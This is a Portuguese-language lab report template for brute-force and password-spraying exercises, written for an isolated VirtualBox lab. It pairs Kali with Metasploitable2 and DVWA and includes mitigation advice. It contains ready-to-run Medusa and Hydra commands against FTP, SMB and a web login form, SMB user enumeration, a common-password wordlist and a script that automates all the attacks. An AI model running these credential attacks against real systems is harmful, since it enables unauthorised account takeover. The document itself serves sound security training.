# Relatório Técnico — Laboratório de Força Bruta com Medusa

Projeto: Testes de força bruta e password spraying em ambiente de laboratório

Autor: João Paulo

Data: [INSERIR DATA]

---

## Sumário

1. Resumo Executivo

2. Escopo e Regras de Engajamento

3. Ambiente (VirtualBox)

4. Preparação das VMs — passo a passo com telas (placeholders para imagens)

5. Ferramentas e instalação (Kali + Medusa, Hydra, enum4linux, smbclient)

6. Cenários de teste e comandos (FTP, DVWA (web form), SMB)

7. Wordlists utilizadas

8. Coleta de evidências e logs

9. Resultado (modelo de evidências)

10. Recomendações de mitigação

11. Template Word para relatório final (estrutura pronta para preencher)

12. Anexos — scripts e comando para automação

## 1. Resumo Executivo

Descreva aqui, em 3–5 parágrafos curtos, o objetivo do teste, as máquinas envolvidas (Kali como atacante e Metasploitable/DVWA como alvo), os principais achados (por exemplo: credenciais fracas encontradas em FTP e SMB) e o risco associado.

## 2. Escopo e Regras de Engajamento

- Ambiente isolado em VirtualBox (host-only / internal network).

- Testes realizados apenas nas VMs listadas: Kali Linux (atacante) e Metasploitable2 / DVWA (alvo).

- Não testar em redes/hosts de produção nem em sistemas de terceiros.

## 3. Ambiente (VirtualBox)

\*\*Configuração recomendada das VMs:\*\*

- Rede: Host-only (ex: 192.168.56.0/24) ou Internal Network.

- Kali: 2 vCPU, 4–8 GB RAM, disco 40–64 GB, Adapter de rede: Host-only.

- Metasploitable2: 1 vCPU, 1–2 GB RAM, disco 20 GB, Adapter de rede: Host-only.

\*\*IPs (exemplo):\*\*

- Kali: 192.168.56.100

- Metasploitable2: 192.168.56.101

- DVWA (se separado): 192.168.56.102

## 4. Preparação das VMs — passo a passo com telas

Instrução: nos campos abaixo coloque as capturas de tela correspondentes às etapas.

4.1 Criar VM Kali

1. VirtualBox → Novo → Nome: Kali → Tipo: Linux → Versão: Debian (64-bit).

Figura 1 — Tela Novo (Criar VM): [INSERIR PRINT]

2. Memória: 4096 MB (ou 8192 MB). Figura 2 — Memória: [INSERIR PRINT]

3. Disco: VDI dinâmico, 40 GB. Figura 3 — Disco: [INSERIR PRINT]

4. Rede: Adapter 1 → Host-only Adapter (vboxnet0). Figura 4 — Rede: [INSERIR PRINT]

4.2 Criar VM Metasploitable2

1. VirtualBox → Novo → Nome: Metasploitable2 → Tipo: Linux → Versão: Other Linux (32-bit).

Figura 5 — Novo Metasploitable2: [INSERIR PRINT]

2. Memória: 1024–2048 MB. Disco: 20 GB.

3. Rede: Adapter 1 → Host-only Adapter (mesma rede que Kali). Figura 6 — Rede Metasploitable: [INSERIR PRINT]

4.3 Confirmar conectividade (comandos)

Na Kali:

ip a

ping -c 3 192.168.56.101

Figura 7 — Ping para alvo: [INSERIR PRINT]

## 5. Ferramentas e instalação (Kali)

No Kali, atualize e instale as ferramentas principais:

sudo apt update && sudo apt upgrade -y

sudo apt install medusa hydra enum4linux smbclient smbmap net-tools tcpdump -y

Verificar Medusa:

medusa -h

medusa -d

## 6. Cenários de teste e comandos (FTP, DVWA, SMB)

OBS: Execute apenas em ambiente de laboratório.

6.1 Força bruta FTP (Medusa)

Wordlists: users.txt e passwords.txt (ver seção 7)

Comando (usuário único):

medusa -h 192.168.56.101 -u ftp -P /home/kali/passwords.txt -M ftp -T 8 -f -O /home/kali/medusa\_ftp\_results.txt

Comando (lista de usuários):

medusa -M ftp -h 192.168.56.101 -U /home/kali/users.txt -P /home/kali/passwords.txt -T 6 -O /home/kali/medusa\_ftp\_multi.txt

Validação quando encontrar credenciais:

ftp 192.168.56.101

curl -v ftp://usuario:senha@192.168.56.101/

6.2 Ataque a formulário web (DVWA) — Hydra recomendado

Hydra (exemplo para DVWA):

hydra -L /home/kali/users.txt -P /home/kali/passwords.txt 192.168.56.102 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:F=incorrect" -t 8 -V -w 5

6.3 Password spraying / SMB (Medusa)

Enumere usuários:

enum4linux -U 192.168.56.101

smbmap -H 192.168.56.101

Executar Medusa (smbnt):

medusa -M smbnt -h 192.168.56.101 -U /home/kali/users.txt -P /home/kali/passwords.txt -T 8 -O /home/kali/medusa\_smb\_results.txt

Validar credenciais:

smbclient -L //192.168.56.101 -U usuario%senha

smbclient //192.168.56.101/share -U usuario%senha

## 7. Wordlists utilizadas

Crie arquivos em /home/kali/wordlists/.

users.txt (exemplo curto):

root

admin

ftp

test

www-data

passwords.txt (exemplo curto):

123456

password

admin123

welcome

P@ssw0rd

Observação: para testes maiores, use rockyou.txt ou SecLists, mas tenha cautela – são grandes e ruidosos.

## 8. Coleta de evidências e logs

Sempre salve as saídas do Medusa com -O.

Capture tráfego: (ex: na Kali)

sudo tcpdump -i any host 192.168.56.101 -w /home/kali/capturas/ftp\_capture.pcap

Gere hash dos logs para integridade:

sha256sum /home/kali/medusa\_\*.txt > /home/kali/log\_hashes.sha256

Tire screenshots das telas com sucesso de login.

## 9. Resultado (modelo de evidências)

Preencha com as credenciais encontradas, timestamps e explicação do impacto.

Exemplo:

Serviço: FTP

Alvo: 192.168.56.101

Credencial encontrada: ftp:123456

Data/hora: 2025-10-16 09:12:23

Evidências: /home/kali/medusa\_ftp\_results.txt, ftp\_capture.pcap, screenshot\_ftp\_login.png

## 10. Recomendações de mitigação

Políticas de senha forte e rotação.

Bloqueio temporário após N falhas (account lockout).

Rate limiting e detecção/alerta de bursts de autenticação.

MFA para serviços críticos.

Evitar expor SMB/FTP sem necessidade; usar SFTP/FTPS.

Implementar fail2ban para serviços suportados.

## 11. Template Word (estrutura pronta)

Capa:

- Título: Relatório de Teste de Força Bruta — [Projeto]

- Autor: [Seu Nome]

- Data: [DATA]

- Nota: Testes conduzidos em ambiente controlado.

Sumário

1. Resumo Executivo

2. Escopo

3. Metodologia

4. Comandos e Evidências

5. Resultados

6. Recomendações

Anexos: scripts e hashes dos logs

## 12. Anexos — Scripts e automatização

Script exemplo (Kali) — run\_all\_tests.sh:

#!/bin/bash

TARGET\_FTP=192.168.56.101

TARGET\_DVWA=192.168.56.102

TARGET\_SMB=192.168.56.101

USERLIST=/home/kali/wordlists/users.txt

PASSLIST=/home/kali/wordlists/passwords.txt

OUTDIR=/home/kali/medusa\_results

mkdir -p $OUTDIR

# FTP

medusa -M ftp -h $TARGET\_FTP -U $USERLIST -P $PASSLIST -T 8 -O $OUTDIR/medusa\_ftp\_$(date +%F\_%H%M).txt

# SMB

medusa -M smbnt -h $TARGET\_SMB -U $USERLIST -P $PASSLIST -T 8 -O $OUTDIR/medusa\_smb\_$(date +%F\_%H%M).txt

# DVWA (Hydra)

hydra -L $USERLIST -P $PASSLIST $TARGET\_DVWA http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:F=incorrect" -t 8 -o $OUTDIR/hydra\_dvwa\_$(date +%F\_%H%M).txt

# Hash logs

sha256sum $OUTDIR/\* > $OUTDIR/log\_hashes\_$(date +%F\_%H%M).sha256

echo "Execução finalizada. Resultados em $OUTDIR"